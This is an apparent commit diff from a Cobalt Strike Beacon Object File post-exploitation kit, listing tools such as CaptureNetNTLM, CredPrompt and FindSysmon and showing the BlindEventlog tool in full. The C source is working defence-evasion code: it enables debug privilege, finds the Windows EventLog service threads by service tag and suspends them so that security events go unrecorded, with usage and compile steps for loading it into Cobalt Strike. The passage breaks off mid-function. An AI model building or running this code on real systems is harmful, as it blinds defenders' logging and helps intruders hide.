unknown 2 ani în urmă
părinte
comite
6316994674
79 a modificat fișierele cu 4299 adăugiri și 3898 ștergeri
  1. 17 17
      KIT/BlindEventlog/README.md
  2. 68 68
      KIT/BlindEventlog/beacon.h
  3. 245 266
      KIT/BlindEventlog/blindeventlog.c
  4. 32 32
      KIT/BlindEventlog/blindeventlog.cna
  5. 75 83
      KIT/BlindEventlog/blindeventlog.h
  6. BIN
      KIT/BlindEventlog/blindeventlog.o
  7. 5 6
      KIT/BlindEventlog/bofcompile.bat
  8. 1 1
      KIT/CaptureNetNTLM/README.md
  9. 105 121
      KIT/CaptureNetNTLM/capturenetntlm.c
  10. 10 15
      KIT/CaptureNetNTLM/capturenetntlm.h
  11. BIN
      KIT/CaptureNetNTLM/capturenetntlm.o
  12. 76 94
      KIT/CredPrompt/credprompt.c
  13. 4 10
      KIT/CredPrompt/credprompt.h
  14. BIN
      KIT/CredPrompt/credprompt.o
  15. 77 105
      KIT/EnumLocalCert/enumlocalcert.c
  16. 4 13
      KIT/EnumLocalCert/enumlocalcert.h
  17. BIN
      KIT/EnumLocalCert/enumlocalcert.o
  18. 70 90
      KIT/EnumSecProducts/enumsecproducts.c
  19. 6 8
      KIT/EnumSecProducts/enumsecproducts.h
  20. BIN
      KIT/EnumSecProducts/enumsecproducts.o
  21. 80 103
      KIT/EnumShares/enumshares.c
  22. 5 10
      KIT/EnumShares/enumshares.h
  23. BIN
      KIT/EnumShares/enumshares.o
  24. 77 99
      KIT/EnumTaskScheduler/enumtaskscheduler.c
  25. 9 18
      KIT/EnumTaskScheduler/enumtaskscheduler.h
  26. BIN
      KIT/EnumTaskScheduler/enumtaskscheduler.o
  27. 11 11
      KIT/FindDotnet/README.md
  28. 68 68
      KIT/FindDotnet/beacon.h
  29. 4 5
      KIT/FindDotnet/bofcompile.bat
  30. 163 183
      KIT/FindDotnet/finddotnet.c
  31. 22 22
      KIT/FindDotnet/finddotnet.cna
  32. 29 37
      KIT/FindDotnet/finddotnet.h
  33. BIN
      KIT/FindDotnet/finddotnet.o
  34. 96 117
      KIT/FindFile/findfile.c
  35. 11 17
      KIT/FindFile/findfile.h
  36. BIN
      KIT/FindFile/findfile.o
  37. 26 26
      KIT/FindHandle/README.md
  38. 68 68
      KIT/FindHandle/beacon.h
  39. 5 6
      KIT/FindHandle/bofcompile.bat
  40. 255 282
      KIT/FindHandle/findhandle.c
  41. 62 62
      KIT/FindHandle/findhandle.cna
  42. 103 110
      KIT/FindHandle/findhandle.h
  43. BIN
      KIT/FindHandle/findhandle.o
  44. 16 16
      KIT/FindLib/README.md
  45. 68 68
      KIT/FindLib/beacon.h
  46. 5 6
      KIT/FindLib/bofcompile.bat
  47. 197 254
      KIT/FindLib/findlib.c
  48. 53 53
      KIT/FindLib/findlib.cna
  49. 529 0
      KIT/FindLib/findlib.disasm
  50. 30 37
      KIT/FindLib/findlib.h
  51. BIN
      KIT/FindLib/findlib.o
  52. 14 14
      KIT/FindRWX/README.md
  53. 68 68
      KIT/FindRWX/beacon.h
  54. 4 5
      KIT/FindRWX/bofcompile.bat
  55. 137 161
      KIT/FindRWX/findrwx.c
  56. 30 30
      KIT/FindRWX/findrwx.cna
  57. 365 0
      KIT/FindRWX/findrwx.disasm
  58. 16 23
      KIT/FindRWX/findrwx.h
  59. BIN
      KIT/FindRWX/findrwx.o
  60. 15 15
      KIT/FindSysmon/README.md
  61. 68 68
      KIT/FindSysmon/beacon.h
  62. 5 6
      KIT/FindSysmon/bofcompile.bat
  63. 332 353
      KIT/FindSysmon/findsysmon.c
  64. 32 32
      KIT/FindSysmon/findsysmon.cna
  65. 60 63
      KIT/FindSysmon/findsysmon.h
  66. BIN
      KIT/FindSysmon/findsysmon.o
  67. 73 98
      KIT/FindWebClient/findwebclient.c
  68. 5 15
      KIT/FindWebClient/findwebclient.h
  69. BIN
      KIT/FindWebClient/findwebclient.o
  70. 14 14
      KIT/PSremote/README.md
  71. 68 68
      KIT/PSremote/beacon.h
  72. 84 108
      KIT/PSremote/psremote.c
  73. 23 25
      KIT/PSremote/psremote.h
  74. BIN
      KIT/PSremote/psremote.o
  75. 85 104
      KIT/SystemInfo/systeminfo.c
  76. 1 1
      KIT/SystemInfo/systeminfo.cna
  77. 11 18
      KIT/SystemInfo/systeminfo.h
  78. BIN
      KIT/SystemInfo/systeminfo.o
  79. 2 2
      README.md

+ 17 - 17
KIT/BlindEventlog/README.md

@@ -1,17 +1,17 @@
-# BlindEventlog
-Blind Eventlog by suspending its threads. This technique requires elevated privileges.
-
->Be aware that all events, from the period the threads were suspended, will be pushed to Eventlog the moment the threads are resumed.
-
-## Options
-* `suspend`: find and suspend all Eventlog threads and disrupt its functionality.
-* `resume`: find and resume all Eventlog threads and restore its functionality.
-
-## Usage
-* `blindeventlog <suspend | resume>`
-
-## Compile
-- 1\. Make sure Visual Studio is installed and supports C/C++.
-- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
-- 3\. Run the `bofcompile.bat` script to compile the object file. 
-- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+# BlindEventlog
+Blind Eventlog by suspending its threads. This technique requires elevated privileges.
+
+>Be aware that all events, from the period the threads were suspended, will be pushed to Eventlog the moment the threads are resumed.
+
+## Options
+* `suspend`: find and suspend all Eventlog threads and disrupt its functionality.
+* `resume`: find and resume all Eventlog threads and restore its functionality.
+
+## Usage
+* `blindeventlog <suspend | resume>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 68 - 68
KIT/BlindEventlog/beacon.h

@@ -1,69 +1,69 @@
-/*
- * Beacon Object Files (BOF)
- * -------------------------
- * A Beacon Object File is a light-weight post exploitation tool that runs
- * with Beacon's inline-execute command.
- *
- * Additional BOF resources are available here:
- *   - https://github.com/Cobalt-Strike/bof_template
- *
- * Cobalt Strike 4.x
- * ChangeLog:
- *    1/25/2022: updated for 4.5
- */
-
-/* data API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} datap;
-
-DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
-DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
-DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
-DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
-DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
-DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
-
-/* format API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} formatp;
-
-DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
-DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
-DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
-DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
-DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
-
-/* Output Functions */
-#define CALLBACK_OUTPUT      0x0
-#define CALLBACK_OUTPUT_OEM  0x1e
-#define CALLBACK_OUTPUT_UTF8 0x20
-#define CALLBACK_ERROR       0x0d
-
-DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
-DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
-
-
-/* Token Functions */
-DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
-DECLSPEC_IMPORT void   BeaconRevertToken();
-DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
-
-/* Spawn+Inject Functions */
-DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
-DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
-DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
-
-/* Utility Functions */
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
 DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 245 - 266
KIT/BlindEventlog/blindeventlog.c

@@ -1,266 +1,245 @@
-#include <windows.h>  
-#include <Strsafe.h>
-#include <tlhelp32.h>  
-#include "blindeventlog.h"
-#include "beacon.h"
-#pragma comment(lib,"Advapi32.lib")
-#pragma comment(lib,"shell32.lib")
-
-
-
-//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
-}
-
-//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-	return;
-}
-
-
-
-
-
-
-BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
-	HANDLE hToken;
-    TOKEN_PRIVILEGES tp;
-    LUID luid;
-
-	if (!Advapi32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
-    if (!Advapi32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) return FALSE; 
-
-    tp.PrivilegeCount = 1;
-    tp.Privileges[0].Luid = luid;
-    if (bEnablePrivilege)
-        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-    else
-        tp.Privileges[0].Attributes = 0;
-
-    if (!Advapi32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) return FALSE; 
-    if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) return FALSE;
-
-    return TRUE;
-}
-
-
-BOOL Eventlog(int action) {
-	SERVICE_STATUS_PROCESS svcStatus;
-	svcStatus.dwServiceType = 0;
-	svcStatus.dwCurrentState = 0;
-	svcStatus.dwControlsAccepted = 0;
-	svcStatus.dwWin32ExitCode = 0;
-	svcStatus.dwServiceSpecificExitCode = 0;
-	svcStatus.dwCheckPoint = 0;
-	svcStatus.dwWaitHint = 0;
-	svcStatus.dwProcessId = 0;
-	svcStatus.dwServiceFlags = 0;
-	
-	DWORD bytesNeeded = 0;
-	HANDLE hSvcProc = NULL;
-	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
-	THREADENTRY32 te32;
-	THREAD_BASIC_INFORMATION threadBasicInfo;
-	PVOID subProcessTag = NULL;
-	BOOL bIsWoW64 = FALSE;
-	DWORD dwOffset = NULL;
-	BOOL result = FALSE;
-	
-	NtQueryInformationThread_t pNtQueryInformationThread = (NtQueryInformationThread_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
-	I_QueryTagInformation_t pI_QueryTagInformation = (I_QueryTagInformation_t) GetProcAddress(GetModuleHandle("advapi32.dll"), "I_QueryTagInformation");
-	
-	SC_HANDLE sc = Advapi32$OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
-	SC_HANDLE svc = Advapi32$OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
-
-	Advapi32$QueryServiceStatusEx(svc, SC_STATUS_PROCESS_INFO, (LPBYTE) &svcStatus, sizeof(svcStatus), &bytesNeeded);
-	DWORD svcPID = svcStatus.dwProcessId;
-	
-	hSvcProc = KERNEL32$OpenProcess(PROCESS_VM_READ, FALSE, svcPID);
-	if (hSvcProc == NULL) {
-		BeaconPrintf(CALLBACK_ERROR,"[-] Failed to open handle to eventlog process: %d\n", svcPID);
-		return result;
-	}
-
-	BeaconPrintToStreamW(L"[+] Opened handle to eventlog process: %d\n", svcPID);
-
-	hThreadSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
-	if (hThreadSnap == INVALID_HANDLE_VALUE) return result;
-	te32.dwSize = sizeof(THREADENTRY32);
-	
-	if (!KERNEL32$Thread32First(hThreadSnap, &te32)) {
-		KERNEL32$CloseHandle(hThreadSnap);
-		return result;
-	}
-	
-	
-	do {
-		if (te32.th32OwnerProcessID == svcPID) {
-
-			HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
-			if (hThread == NULL) {
-				return result;
-			}
-
-			NTSTATUS status = pNtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS) 0, &threadBasicInfo, sizeof(threadBasicInfo), NULL);
-
-			bIsWoW64 = KERNEL32$IsWow64Process(hSvcProc, &bIsWoW64);
-			if (!bIsWoW64)
-				dwOffset = 0x1720;
-			else
-				dwOffset = 0xf60;
-			
-			KERNEL32$ReadProcessMemory(hSvcProc, ((PBYTE)threadBasicInfo.pTebBaseAddress + dwOffset), &subProcessTag, sizeof(subProcessTag), NULL);
-
-			if (!subProcessTag) {
-				KERNEL32$CloseHandle(hThread);
-				continue;
-			}	
-				
-			SC_SERVICE_TAG_QUERY query = { 0 };
-			
-			if (pI_QueryTagInformation)	{
-				query.processId = (ULONG) svcPID;
-				query.serviceTag = (ULONG) subProcessTag;
-				query.reserved = 0;
-				query.pBuffer = NULL;
-				
-				pI_QueryTagInformation(NULL, ServiceNameFromTagInformation, &query);
-
-				if (MSVCRT$_wcsicmp((wchar_t *) query.pBuffer, L"eventlog") == 0) {
-					if(action == 1 && KERNEL32$SuspendThread(hThread) != -1) {
-						BeaconPrintToStreamW(L"[+] Suspended Eventlog thread: %d\n", te32.th32ThreadID);
-						result = TRUE;
-					}
-					else if (action == 2 && KERNEL32$ResumeThread(hThread) != -1) {
-						BeaconPrintToStreamW(L"[+] Resumed Eventlog thread: %d\n", te32.th32ThreadID);
-						result = TRUE;
-					}
-					else {
-						BeaconPrintToStreamW(L"[-] Failed to change the state of the Eventlog thread: %d\n", te32.th32ThreadID);
-						result = FALSE;
-					}
-				}
-			}
-			KERNEL32$CloseHandle(hThread);
-		}
-	} while (KERNEL32$Thread32Next(hThreadSnap, &te32));
-
-	KERNEL32$CloseHandle(hThreadSnap);
-	KERNEL32$CloseHandle(hSvcProc);
-
-    return result;
-}
-
-
-int go(char *args, int len) {
-	BOOL res = NULL;
-	CHAR *action;
-	datap parser;
-	
-	BeaconDataParse(&parser, args, len);
-	action = BeaconDataExtract(&parser, NULL);
-
-
-	if (!SetPrivilege(SE_DEBUG_NAME, ENABLE)) {
-		BeaconPrintf(CALLBACK_ERROR, "Not enough privileges to interact with Eventlog.\n");
-		return 0;
-	}
-	if (MSVCRT$strcmp(action, "suspend") == 0) {
-		res = Eventlog(1);
-	}
-	else if (MSVCRT$strcmp(action, "resume") == 0) {
-		res = Eventlog(2);
-	}
-	else {
-		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following options: suspend | resume\n");
-		return 0;
-	}
-	
-	if(!res) BeaconPrintf(CALLBACK_ERROR, "Failed to blind Eventlog!\n");
-	else  {
-		BeaconOutputStreamW();
-		BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
-	}
-	
-	return 0;
-}
+#include <windows.h>  
+#include <Strsafe.h>
+#include <tlhelp32.h>  
+#include "blindeventlog.h"
+#include "beacon.h"
+#pragma comment(lib,"Advapi32.lib")
+#pragma comment(lib,"shell32.lib")
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+
+
+BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
+	HANDLE hToken;
+    TOKEN_PRIVILEGES tp;
+    LUID luid;
+
+	if (!Advapi32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
+    if (!Advapi32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) return FALSE; 
+
+    tp.PrivilegeCount = 1;
+    tp.Privileges[0].Luid = luid;
+    if (bEnablePrivilege)
+        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+    else
+        tp.Privileges[0].Attributes = 0;
+
+    if (!Advapi32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) return FALSE; 
+    if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) return FALSE;
+
+    return TRUE;
+}
+
+
+BOOL Eventlog(int action) {
+	SERVICE_STATUS_PROCESS svcStatus;
+	svcStatus.dwServiceType = 0;
+	svcStatus.dwCurrentState = 0;
+	svcStatus.dwControlsAccepted = 0;
+	svcStatus.dwWin32ExitCode = 0;
+	svcStatus.dwServiceSpecificExitCode = 0;
+	svcStatus.dwCheckPoint = 0;
+	svcStatus.dwWaitHint = 0;
+	svcStatus.dwProcessId = 0;
+	svcStatus.dwServiceFlags = 0;
+	
+	DWORD bytesNeeded = 0;
+	HANDLE hSvcProc = NULL;
+	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
+	THREADENTRY32 te32;
+	THREAD_BASIC_INFORMATION threadBasicInfo;
+	PVOID subProcessTag = NULL;
+	BOOL bIsWoW64 = FALSE;
+	DWORD dwOffset = NULL;
+	BOOL result = FALSE;
+	
+	NtQueryInformationThread_t pNtQueryInformationThread = (NtQueryInformationThread_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
+	I_QueryTagInformation_t pI_QueryTagInformation = (I_QueryTagInformation_t) GetProcAddress(GetModuleHandle("advapi32.dll"), "I_QueryTagInformation");
+	
+	SC_HANDLE sc = Advapi32$OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
+	SC_HANDLE svc = Advapi32$OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
+
+	Advapi32$QueryServiceStatusEx(svc, SC_STATUS_PROCESS_INFO, (LPBYTE) &svcStatus, sizeof(svcStatus), &bytesNeeded);
+	DWORD svcPID = svcStatus.dwProcessId;
+	
+	hSvcProc = KERNEL32$OpenProcess(PROCESS_VM_READ, FALSE, svcPID);
+	if (hSvcProc == NULL) {
+		BeaconPrintf(CALLBACK_ERROR,"Failed to open handle to eventlog process: %d\n", svcPID);
+		return result;
+	}
+
+	internal_printf("[+] Opened handle to eventlog process: %d\n", svcPID);
+
+	hThreadSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
+	if (hThreadSnap == INVALID_HANDLE_VALUE) return result;
+	te32.dwSize = sizeof(THREADENTRY32);
+	
+	if (!KERNEL32$Thread32First(hThreadSnap, &te32)) {
+		KERNEL32$CloseHandle(hThreadSnap);
+		return result;
+	}
+	
+	
+	do {
+		if (te32.th32OwnerProcessID == svcPID) {
+
+			HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
+			if (hThread == NULL) {
+				return result;
+			}
+
+			NTSTATUS status = pNtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS) 0, &threadBasicInfo, sizeof(threadBasicInfo), NULL);
+
+			bIsWoW64 = KERNEL32$IsWow64Process(hSvcProc, &bIsWoW64);
+			if (!bIsWoW64)
+				dwOffset = 0x1720;
+			else
+				dwOffset = 0xf60;
+			
+			KERNEL32$ReadProcessMemory(hSvcProc, ((PBYTE)threadBasicInfo.pTebBaseAddress + dwOffset), &subProcessTag, sizeof(subProcessTag), NULL);
+
+			if (!subProcessTag) {
+				KERNEL32$CloseHandle(hThread);
+				continue;
+			}	
+				
+			SC_SERVICE_TAG_QUERY query = { 0 };
+			
+			if (pI_QueryTagInformation)	{
+				query.processId = (ULONG) svcPID;
+				query.serviceTag = (ULONG) subProcessTag;
+				query.reserved = 0;
+				query.pBuffer = NULL;
+				
+				pI_QueryTagInformation(NULL, ServiceNameFromTagInformation, &query);
+
+				if (MSVCRT$_wcsicmp((wchar_t *) query.pBuffer, L"eventlog") == 0) {
+					if(action == 1 && KERNEL32$SuspendThread(hThread) != -1) {
+						internal_printf("\t- Suspended Eventlog thread: %d\n", te32.th32ThreadID);
+						result = TRUE;
+					}
+					else if (action == 2 && KERNEL32$ResumeThread(hThread) != -1) {
+						internal_printf("\t- Resumed Eventlog thread: %d\n", te32.th32ThreadID);
+						result = TRUE;
+					}
+					else {
+						internal_printf("\t- [!] Failed to change the state of the Eventlog thread: %d\n", te32.th32ThreadID);
+						result = FALSE;
+					}
+				}
+			}
+			KERNEL32$CloseHandle(hThread);
+		}
+	} while (KERNEL32$Thread32Next(hThreadSnap, &te32));
+
+	KERNEL32$CloseHandle(hThreadSnap);
+	KERNEL32$CloseHandle(hSvcProc);
+
+    return result;
+}
+
+
+int go(char *args, int len) {
+	BOOL res = NULL;
+	CHAR *action;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	action = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+
+	if (!SetPrivilege(SE_DEBUG_NAME, ENABLE)) {
+		BeaconPrintf(CALLBACK_ERROR, "Not enough privileges to interact with Eventlog.\n");
+		return 0;
+	}
+	if (MSVCRT$strcmp(action, "suspend") == 0) {
+		res = Eventlog(1);
+	}
+	else if (MSVCRT$strcmp(action, "resume") == 0) {
+		res = Eventlog(2);
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following options: suspend | resume\n");
+		return 0;
